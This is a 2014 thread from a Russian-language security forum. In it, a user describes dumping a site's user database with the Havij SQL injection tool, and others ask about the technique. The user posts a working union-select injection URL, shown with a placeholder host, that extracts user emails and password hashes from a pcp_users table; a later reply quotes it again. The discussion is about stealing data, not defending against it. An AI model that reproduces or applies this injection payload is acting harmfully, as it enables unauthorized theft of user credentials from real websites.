ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
10.07.2014, 15:02
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
А зачем сливать havijом ? Или у тебя blind-inj?
|
|
|
10.07.2014, 16:48
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от попугай
А зачем сливать havijом ? Или у тебя blind-inj?
Сообщение от None
Injection type is String (')
DB Server: MySQL >=5
Selected Column Count is 4
Valid String Column is 1
Это явно не блинд!
|
|
|
|
10.07.2014, 16:48
|
|
Новичок
Регистрация: 17.12.2010
Сообщений: 28
Провел на форуме:
10028
Репутация:
0
|
|
Сообщение от попугай
А зачем сливать havijом ? Или у тебя blind-inj?
Хавиджем сливаю потому что никак по-другому не умею)
Сейчас ищу дампер какой-нибудь.
Отснифал у хавиджа запрос скуль:
Код:
http://www.url.com/page.php?id=999999.9(+union+all+select+(select+concat(0x27,0x7e,pcp_users.user_email,0x5e,pcp_users.user_phash,0x27,0x7e)+from+`PCP7_TEST`.pcp_users+limit+1358,1)
|
|
|
|
10.07.2014, 16:50
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268
Репутация:
0
|
|
Сообщение от None
limit+1358,1
Понятно, почему так долго.
попугай, да потому что по другому человек не умеет.
|
|
|
|
10.07.2014, 22:23
|
|
Познающий
Регистрация: 20.09.2012
Сообщений: 53
Провел на форуме:
20084
Репутация:
0
|
|
Сообщение от djkefir
Хавиджем сливаю потому что никак по-другому не умею)
Сейчас ищу дампер какой-нибудь.
Отснифал у хавиджа запрос скуль:
Код:
http://www.url.com/page.php?id=999999.9(+union+all+select+(select+concat(0x27,0x7e,pcp_users.user_email,0x5e,pcp_users.user_phash,0x27,0x7e)+from+`PCP7_TEST`.pcp_users+limit+1358,1)
А как снифал? у него вроде нет такого функционала
|
|
|
|
11.07.2014, 01:25
|
|
Новичок
Регистрация: 17.12.2010
Сообщений: 28
Провел на форуме:
10028
Репутация:
0
|
|
Сообщение от erwap
А как снифал? у него вроде нет такого функционала
Хммм. HTTP Analyzer -_-
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
